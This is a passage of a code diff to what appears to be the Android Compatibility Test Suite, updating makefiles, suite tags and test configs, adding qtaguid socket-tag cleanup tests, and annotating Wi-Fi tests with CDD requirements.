+# limitations under the License.
+include $(call all-subdir-makefiles)
diff --git a/tests/tests/net/native/qtaguid/Android.mk b/tests/tests/net/native/qtaguid/Android.mk
index 4f5bf9f..6c92b5c 100644
--- a/tests/tests/net/native/qtaguid/Android.mk
+++ b/tests/tests/net/native/qtaguid/Android.mk
@@ -16,15 +16,8 @@
LOCAL_PATH:= $(call my-dir)
-test_executable := CtsNativeNetTestCases
-list_executable := $(test_executable)_list
-
include $(CLEAR_VARS)
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-
-LOCAL_MODULE := $(test_executable)
-LOCAL_MODULE_TAGS := optional
+LOCAL_MODULE := CtsNativeNetTestCases
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
LOCAL_MULTILIB := both
LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
@@ -33,9 +26,6 @@
LOCAL_SRC_FILES := \
src/NativeQtaguidTest.cpp
-LOCAL_C_INCLUDES := \
- external/gtest/include \
-
LOCAL_SHARED_LIBRARIES := \
libutils \
liblog \
@@ -45,27 +35,9 @@
libgtest
LOCAL_CTS_TEST_PACKAGE := android.net.native
-
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
LOCAL_CFLAGS := -Werror -Wall
include $(BUILD_CTS_EXECUTABLE)
-
-include $(CLEAR_VARS)
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-LOCAL_MODULE := $(list_executable)
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
- src/NativeQtaguidTest.cpp
-
-LOCAL_CFLAGS := \
- -DBUILD_ONLY \
-
-LOCAL_SHARED_LIBRARIES := \
- liblog \
-
-include $(BUILD_HOST_NATIVE_TEST)
diff --git a/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp b/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp
index 0301c81..9009c24 100644
--- a/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp
+++ b/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp
@@ -17,16 +17,12 @@
#include <arpa/inet.h>
#include <errno.h>
#include <inttypes.h>
-#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
+
#include <gtest/gtest.h>
-
-#if !defined(BUILD_ONLY)
#include <cutils/qtaguid.h>
-#endif
-#if !defined(BUILD_ONLY)
int getCtrlSkInfo(int tag, uid_t uid, uint64_t* sk_addr, int* ref_cnt) {
FILE *fp;
fp = fopen("/proc/net/xt_qtaguid/ctrl", "r");
@@ -69,12 +65,35 @@
EXPECT_EQ(0, qtaguid_tagSocket(sockfd, tag, uid));
EXPECT_EQ(0, getCtrlSkInfo(tag, uid, &sk_addr, &ref_cnt));
EXPECT_EQ(expect_addr, sk_addr);
- EXPECT_EQ(0, qtaguid_untagSocket(sockfd));
+ close(sockfd);
EXPECT_EQ(-ENOENT, getCtrlSkInfo(tag, uid, &sk_addr, &ref_cnt));
}
-#else
-void checkNoSocketPointerLeaks(int family) {}
-#endif
+
+TEST (NativeQtaguidTest, close_socket_without_untag) {
+ int sockfd = socket(AF_INET, SOCK_STREAM, 0);
+ uid_t uid = getuid();
+ int tag = arc4random();
+ int ref_cnt;
+ uint64_t dummy_sk;
+ EXPECT_EQ(0, qtaguid_tagSocket(sockfd, tag, uid));
+ EXPECT_EQ(0, getCtrlSkInfo(tag, uid, &dummy_sk, &ref_cnt));
+ EXPECT_EQ(2, ref_cnt);
+ close(sockfd);
+ EXPECT_EQ(-ENOENT, getCtrlSkInfo(tag, uid, &dummy_sk, &ref_cnt));
+}
+
+TEST (NativeQtaguidTest, close_socket_without_untag_ipv6) {
+ int sockfd = socket(AF_INET6, SOCK_STREAM, 0);
+ uid_t uid = getuid();
+ int tag = arc4random();
+ int ref_cnt;
+ uint64_t dummy_sk;
+ EXPECT_EQ(0, qtaguid_tagSocket(sockfd, tag, uid));
+ EXPECT_EQ(0, getCtrlSkInfo(tag, uid, &dummy_sk, &ref_cnt));
+ EXPECT_EQ(2, ref_cnt);
+ close(sockfd);
+ EXPECT_EQ(-ENOENT, getCtrlSkInfo(tag, uid, &dummy_sk, &ref_cnt));
+}
TEST (NativeQtaguidTest, no_socket_addr_leak) {
checkNoSocketPointerLeaks(AF_INET);
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
index 9f54c8e..c885942 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
@@ -37,6 +37,7 @@
import android.net.NetworkInfo.State;
import android.net.NetworkRequest;
import android.net.wifi.WifiManager;
+import android.os.Looper;
import android.os.SystemProperties;
import android.system.Os;
import android.system.OsConstants;
@@ -110,6 +111,7 @@
@Override
protected void setUp() throws Exception {
super.setUp();
+ Looper.prepare();
mContext = getContext();
mCm = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
mWifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
@@ -279,11 +281,10 @@
}
private boolean isSupported(int networkType) {
- // Change-Id I02eb5f22737720095f646f8db5c87fd66da129d6 added VPN support
- // to all devices directly in software, independent of any external
- // configuration.
return mNetworks.containsKey(networkType) ||
- (networkType == ConnectivityManager.TYPE_VPN);
+ (networkType == ConnectivityManager.TYPE_VPN) ||
+ (networkType == ConnectivityManager.TYPE_ETHERNET &&
+ mContext.getSystemService(Context.ETHERNET_SERVICE) != null);
}
public void testIsNetworkSupported() {
diff --git a/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
index 87e22d8..5dce5ab 100644
--- a/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
+++ b/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -41,6 +41,8 @@
import android.test.AndroidTestCase;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
import java.util.ArrayDeque;
import java.util.ArrayList;
import java.util.HashSet;
@@ -54,6 +56,7 @@
* Wi-Fi Aware CTS test suite: single device testing. Performs tests on a single
* device to validate Wi-Fi Aware.
*/
+@CddTest(requirement="7.4.2.3/C-1-1")
public class SingleDeviceTest extends AndroidTestCase {
private static final String TAG = "WifiAwareCtsTests";
@@ -485,6 +488,7 @@
* then the attach/destroy will not correspond to enable/disable and will not result in a new
* MAC address being generated.
*/
+ @CddTest(requirement="7.4.2.3/C-1-4")
public void testAttachDiscoveryAddressChanges() {
if (!TestUtils.shouldTestWifiAware(getContext())) {
return;
diff --git a/tests/tests/net/src/android/net/wifi/cts/ConcurrencyTest.java b/tests/tests/net/src/android/net/wifi/cts/ConcurrencyTest.java
index a066ba8..4187883 100644
--- a/tests/tests/net/src/android/net/wifi/cts/ConcurrencyTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/ConcurrencyTest.java
@@ -31,9 +31,12 @@
import static android.net.wifi.p2p.WifiP2pManager.WIFI_P2P_STATE_ENABLED;
import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.CddTest;
+
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+@CddTest(requirement="7.4.2.1/C-1-1,C-1-3")
public class ConcurrencyTest extends AndroidTestCase {
private class MySync {
int expectedWifiState;
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiConfigurationTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiConfigurationTest.java
index 4480a24..8b17a57 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiConfigurationTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiConfigurationTest.java
@@ -23,6 +23,9 @@
import android.net.wifi.WifiManager;
import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="7.4.2/C-1-1")
public class WifiConfigurationTest extends AndroidTestCase {
private WifiManager mWifiManager;
@Override
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
index 5983cb7..c97f010 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
@@ -29,9 +29,11 @@
import android.test.AndroidTestCase;
import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.CddTest;
import java.util.concurrent.Callable;
+@CddTest(requirement="7.4.2/C-1-1")
public class WifiInfoTest extends AndroidTestCase {
private static class MySync {
int expectedState = STATE_NULL;
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index 44b49c0..90540f4 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -37,6 +37,7 @@
import android.test.AndroidTestCase;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.WifiConfigCreator;
import java.net.HttpURLConnection;
@@ -49,6 +50,7 @@
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicInteger;
+@CddTest(requirement="7.4.2/C-1-1")
public class WifiManagerTest extends AndroidTestCase {
private static class MySync {
int expectedState = STATE_NULL;
@@ -77,6 +79,10 @@
private static final String SSID2 = "\"WifiManagerTestModified\"";
private static final String PROXY_TEST_SSID = "SomeProxyAp";
private static final String ADD_NETWORK_EXCEPTION_SUBSTR = "addNetwork";
+ // A full single scan duration is about 6-7 seconds if country code is set
+ // to US. If country code is set to world mode (00), we would expect a scan
+ // duration of roughly 8 seconds. So we set scan timeout as 9 seconds here.
+ private static final int SCAN_TIMEOUT_MSEC = 9000;
private static final int TIMEOUT_MSEC = 6000;
private static final int WAIT_MSEC = 60;
private static final int DURATION = 10000;
@@ -202,7 +208,7 @@
mMySync.expectedState = STATE_SCANNING;
mScanResults = null;
assertTrue(mWifiManager.startScan());
- long timeout = System.currentTimeMillis() + TIMEOUT_MSEC;
+ long timeout = System.currentTimeMillis() + SCAN_TIMEOUT_MSEC;
while (System.currentTimeMillis() < timeout && mMySync.expectedState == STATE_SCANNING)
mMySync.wait(WAIT_MSEC);
}
@@ -582,6 +588,7 @@
*
* @throws Exception
*/
+ @CddTest(requirement="7.4.2.4/C-1-1,C-1-2,C-2-1")
public void testAddPasspointConfigWithUserCredential() throws Exception {
if (!WifiFeature.isWifiSupported(getContext())) {
// skip the test if WiFi is not supported
@@ -596,6 +603,7 @@
*
* @throws Exception
*/
+ @CddTest(requirement="7.4.2.4/C-1-1,C-1-2,C-2-1")
public void testAddPasspointConfigWithCertCredential() throws Exception {
if (!WifiFeature.isWifiSupported(getContext())) {
// skip the test if WiFi is not supported
@@ -610,6 +618,7 @@
*
* @throws Exception
*/
+ @CddTest(requirement="7.4.2.4/C-1-1,C-1-2,C-2-1")
public void testAddPasspointConfigWithSimCredential() throws Exception {
if (!WifiFeature.isWifiSupported(getContext())) {
// skip the test if WiFi is not supported
@@ -816,7 +825,11 @@
* Note: Location mode must be enabled for this test.
*/
public void testStartLocalOnlyHotspotSuccess() {
- // first check that softap mode is supported by the device
+ if (!WifiFeature.isWifiSupported(getContext())) {
+ // skip the test if WiFi is not supported
+ return;
+ }
+ // check that softap mode is supported by the device
if (!mWifiManager.isPortableHotspotSupported()) {
return;
}
@@ -839,7 +852,6 @@
* tethering is started.
* Note: Location mode must be enabled for this test.
*/
-
public void testSetWifiEnabledByAppDoesNotStopHotspot() throws Exception {
if (!WifiFeature.isWifiSupported(getContext())) {
// skip the test if WiFi is not supported
@@ -872,7 +884,11 @@
* Note: Location mode must be enabled for this test.
*/
public void testStartLocalOnlyHotspotSingleRequestByApps() {
- // first check that softap mode is supported by the device
+ if (!WifiFeature.isWifiSupported(getContext())) {
+ // skip the test if WiFi is not supported
+ return;
+ }
+ // check that softap mode is supported by the device
if (!mWifiManager.isPortableHotspotSupported()) {
return;
}
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManager_WifiLockTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManager_WifiLockTest.java
index 3cdd56a..aeb1234 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManager_WifiLockTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManager_WifiLockTest.java
@@ -21,6 +21,9 @@
import android.net.wifi.WifiManager.WifiLock;
import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="7.4.2/C-1-1")
public class WifiManager_WifiLockTest extends AndroidTestCase {
private static final String WIFI_TAG = "WifiManager_WifiLockTest";
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
index 6dec23f..4c68423 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
@@ -20,9 +20,11 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner \
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
ctstestserver \
- org.apache.http.legacy
+ org.apache.http.legacy \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src common)
@@ -31,7 +33,7 @@
LOCAL_INSTRUMENTATION_FOR := CtsNetSecPolicyUsesCleartextTrafficFalse
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
index 5c077c6..2b91cea 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS CtsNetSecPolicyUsesCleartextTrafficFalse test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="security" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
index 6df748d..584afd2 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
@@ -20,9 +20,11 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner \
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
ctstestserver \
- org.apache.http.legacy
+ org.apache.http.legacy \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src common)
@@ -31,7 +33,7 @@
LOCAL_INSTRUMENTATION_FOR := CtsNetSecPolicyUsesCleartextTrafficTrue
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
index b80a7d8..c025dad 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS CtsNetSecPolicyUsesCleartextTrafficTrue test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="security" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
index 6f35027..9a613e7 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
@@ -20,9 +20,11 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner \
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
ctstestserver \
- org.apache.http.legacy
+ org.apache.http.legacy \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src common)
@@ -31,7 +33,7 @@
LOCAL_INSTRUMENTATION_FOR := CtsNetSecPolicyUsesCleartextTrafficUnspecified
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
index fe2fa70..ae25db7 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS CtsNetSecPolicyUsesCleartextTrafficUnspecified test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="security" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
index 56c5d25..10018ce 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
@@ -28,7 +28,7 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml
index efec701..e6ee7c6 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS CtsNetSecConfigAttributeTestCases test cases">
<option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNetSecConfigAttributeTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
index 2b91bc6..161dbd3 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
@@ -28,7 +28,7 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml
index 4066d83..36eb72a 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS CtsNetSecConfigBasicDomainConfigTestCases test cases">
<option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNetSecConfigBasicDomainConfigTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
index df29b5f..927374c 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
@@ -28,7 +28,7 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml
index 014e0ef..f2e3f35 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS CtsNetSecConfigCleartextTraffic test cases">
<option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNetSecConfigCleartextTrafficTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
index 59e5625..aa0eefd 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
@@ -28,7 +28,7 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml
index 611da31..14e4eb4 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS CtsNetSecConfigBasicDebugDisabledTestCases test cases">
<option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNetSecConfigBasicDebugDisabledTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
index c935486..be9174e 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
@@ -28,7 +28,7 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml
index 4f636c3..198f30e 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS CtsNetSecConfigBasicDebugEnabledTestCases test cases">
<option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNetSecConfigBasicDebugEnabledTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
index 3993d00..84e72b0 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
@@ -20,7 +20,11 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ org.apache.http.legacy \
+ android-support-test \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
@@ -28,7 +32,7 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml
index 71bc49c..fb26391 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml
@@ -15,12 +15,13 @@
-->
<configuration description="Config for CTS CtsNetSecConfigDownloadManagerTestCases test cases">
<option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNetSecConfigDownloadManagerTestCases.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.security.net.config.cts.CtsNetSecConfigDownloadManagerTestCases" />
- <option name="runtime-hint" value="11m" />
+ <option name="runtime-hint" value="15s" />
</test>
</configuration>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
index a89bad0..4764cab 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
@@ -28,7 +28,7 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml
index 253758f..7f3c7fd 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS CtsNetSecConfigInvalidPinTestCases test cases">
<option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNetSecConfigInvalidPinTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
index d68073d..5448f34 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
@@ -28,7 +28,7 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml
